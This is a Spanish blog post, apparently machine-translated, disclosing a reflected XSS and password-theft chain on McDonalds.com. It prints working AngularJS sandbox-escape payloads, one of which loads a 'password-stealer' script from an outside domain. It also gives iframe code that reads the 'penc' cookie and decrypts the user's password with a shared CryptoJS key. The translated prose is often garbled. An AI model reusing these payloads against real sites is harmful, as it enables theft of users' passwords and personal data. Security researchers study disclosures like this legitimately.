CONOCIMIENTO pertenece al mundo
Al abusar de una vulnerabilidad, inseguridad criptográfica de almacenamiento (enlace) y un servidor reflejado vulnerabilidad-cross site scripting (enlace) es posible robar y descifrar la contraseña de usuario de un McDonalds. Además de eso, otros datos personales como nombre, dirección y detalles de contacto del usuario pueden ser robados también.
PRUEBA DE CONCEPTO
XSS REFLEJADO A TRAVÉS ANGULARJS DE ESCAPE CAJA DE ARENA
McDonalds.com contiene una página de búsqueda que refleja el valor del parámetro de búsqueda (
q
) en la fuente de la página. Así que cuando buscamos en la ***********-test-reflected-test-***********
que se verá así:
Enlace utilizado:
https://www.mcdonalds.com/us/en-us/search-results.html?q=***********-test-reflected-test-***********
McDonald utiliza AngularJS para que podamos tratar de imprimir el ID de ámbito único usando el valor de búsqueda. Podemos hacer esto cambiando el
q
valor del parámetro a {{$id}}
. Como podemos ver {{$id}}
consigue convertido a 9
la ID única (monótonamente creciente) del alcance AngularJS.
Enlace utilizado:
https://www.mcdonalds.com/us/en-us/search-results.html?q={{$id}}
Utilizando
{{alert(1)}}
como valor no funcionaría porque todo el código AngularJS se ejecuta en un entorno limitado. Sin embargo, la caja de arena AngularJS no es muy seguro. De hecho, no se debe confiar en absoluto. Llegó incluso eliminado en la versión 1.6 (fuente) porque le dio una falsa sensación de seguridad. PortSwigger creado un buen post sobre escapar de la caja de arena AngularJS (enlace).
Primero tenemos que encontrar la versión de AngularJS McDonalds.com. Podemos hacer esto mediante la ejecución
angular.version
en la consola.
La versión es 1.5.3, por lo que la caja de arena de escape que necesitamos es
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
. Podemos utilizar este escape caja de arena como valor de búsqueda, lo que resulta en una alerta.
Incluso podemos cargar archivos JavaScript externos utilizando la siguiente caja de arena de escape, lo que da lugar a la alerta a continuación.
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/external-alert.js`)');}}`
El código JavaScript se puede cargar desde otro dominio desde McDonalds no excluye que el uso de la
Content-Security-Policy
cabecera.ROBAR LA CONTRASEÑA DEL USUARIO
Otra cosa que me di cuenta en McDonalds.com era su cartel en la página que contenía una casilla muy especial. Normalmente se puede comprobar "Recuérdame" en el momento de firmar, pero de signo de McDonald en la página nos da la opción de recordar la contraseña.
He buscado en todo el JavaScript de la palabra clave
password
y me encontré con algo de código interesante que descifra la contraseña.
Si hay una cosa que no debe hacer, es descifrar contraseñas lado del cliente (o incluso almacenar contraseñas mediante el cifrado de dos vías).
Traté de ejecutar el código de mí mismo, y funcionó!
El
penc
valor es una cookie que se almacena durante un año. LOL!
McDonald utiliza CryptoJS para cifrar y descifrar datos sensibles. Utilizan el mismo
key
y iv
para todos los usuarios, lo que significa que sólo tengo que robar la penc
cookie para descifrar la contraseña de alguien.
He intentado descifrar la contraseña en la página de búsqueda usando una carga útil maliciosa de búsqueda, pero no funcionó. De alguna manera, las cookies no contienen caracteres ocultos en la página de búsqueda haciendo que el
getCookie
método falle. El getCookie
método intenta recortar espacios en blanco de los valores de cookie. En las imágenes se puede ver a continuación .charAt(0)
devuelve una cadena extraña cuando se ejecuta en la página de búsqueda.
Escribí algo de JavaScript que carga la página en un iframe y le quita la cookie después de la carga que iframe. Dado que la carga útil se ejecuta varias veces a causa de la fuga caja de arena, puedo realizar un seguimiento de la variable
xssIsExecuted
, por lo que la carga útil sólo se ejecuta una vez.if (!window.xssIsExecuted) {
window.xssIsExecuted = true;
var iframe = $('<iframe src="https://www.mcdonalds.com/us/en-us.html"></iframe>');
$('body').append(iframe);
iframe.on('load', function() {
var penc = iframe[0].contentWindow.getCookie('penc');
alert(iframe[0].contentWindow.decrypt(penc));
});
}
Ahora podemos utilizar la siguiente caja de arena de escape, lo que se traduce en mi contraseña en un cuadro de alerta!
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/mcdonalds-password-stealer.js`)');}}
Eso era todo bastante fácil. He intentado ponerse en contacto con varias veces de McDonald para informar del problema, pero por desgracia no respondió, por lo que decidí revelar la vulnerabilidad.
CONOCIMIENTO pertenece al mundo
No hay comentarios:
Publicar un comentario